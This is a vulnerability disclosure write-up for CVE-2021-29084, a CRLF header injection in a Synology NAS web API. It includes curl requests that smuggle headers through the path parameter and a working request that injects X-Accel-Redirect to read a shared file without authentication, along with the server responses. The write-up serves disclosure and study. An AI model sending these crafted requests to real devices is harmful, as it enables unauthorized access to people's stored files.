CVE-2021-29084: Exploiting CRLF Header Injection in Synology NAS for Unauthenticated File Downloads

Recently our CVE-2021-29084 went public [ZDI Link]. We thought it would be fun to share our disclosure notes.

The Synology DS418play NAS contained an unauthenticated accessible endpoint vulnerable to HTTP header injection. Due to nginx’s configuration, the X-Accel-Redirect header can be used download files which are shared via SMB. Note the finding requires knowledge of a target filename in order gain access to its data.

Synology uses multiple .so library files to handle HTTP requests to endpoints. Auditing all the binaries was going to take time. Instead, I wrote a Binary Ninja script to show me all the locations of potentially dangerous function calls (strcpy,sprintf,snprintf, etc.). One interesting location which came up was found within /usr/syno/synoman/webapi/lib/ Looking at the code it can be seen snprintf is used to format a string used for HTTP redirects.

The following command was used to verify the header injection existed. Note how the path query parameter is reflected in the HTTP response headers.

$ curl -v 'http://localhost:5000/webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0ainjected-header:123%0d%0aanother-injected-header:foobar.html'

> GET /webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0ainjected-header:123%0d%0aanother-injected-header:foobar.html HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.54.0
> Accept: /
< HTTP/1.1 302 Moved Temporarily
< Server: nginx
< Date: Wed, 09 Jun 2021 02:47:50 GMT
< Content-Type: application/json; charset="UTF-8"
< Transfer-Encoding: chunked
< Connection: keep-alive
< Keep-Alive: timeout=20
< Location: http://localhost:5000/index.cgi?report=/sar/foobar
< injected-header: 123
< another-injected-header: foobar.html

Status: 302
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0


Now that I had a header injection, I had to figure out what can be done with it. I decided to keep the bug in my back pocket and look at other parts of the system. That’s when I bumped into an interesting Nginx configuration setting. Nginx’s internal directive allows serving of files which are normally not accessible (see nginx’s Internal Directive Example and its Documentation for more info) . When an application includes a X-Accel-Redirect HTTP header in a response with a file path, the header is processed by nginx, and the file contents are sent to the end user.

Synology’s Web Portal’s NGINX configuration in /etc/nginx/nginx.conf makes use of the internal directive, as shown below.

 location ~ ^/volume(?:X|USB|SATA|Gluster)?\d+/ {
            root /;
            open_file_cache off;
            include app.d/x-accel.*.conf;
            include conf.d/x-accel.*.conf;

By injecting the X-Accel-Redirect header, we can disclose the contents of the locally shared file /volume1/mySharedFolder/test.txt:

> GET /webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0aX-Accel-Redirect:%20/volume1/mySharedFiles/test.txt%0d%0a%20foobar.html HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.54.0
> Accept: */*

< HTTP/1.1 200 OK
< Server: nginx
< Date: Wed, 09 Jun 2021 02:23:14 GMT
< Content-Type: application/json; charset="UTF-8"
< Content-Length: 12
< Last-Modified: Wed, 09 Jun 2021 02:14:37 GMT
< Connection: keep-alive
< Keep-Alive: timeout=20
< ETag: "60c0240d-c"
< Accept-Ranges: bytes

hello world

The following image shows that the mySharedFiles directory is shared locally.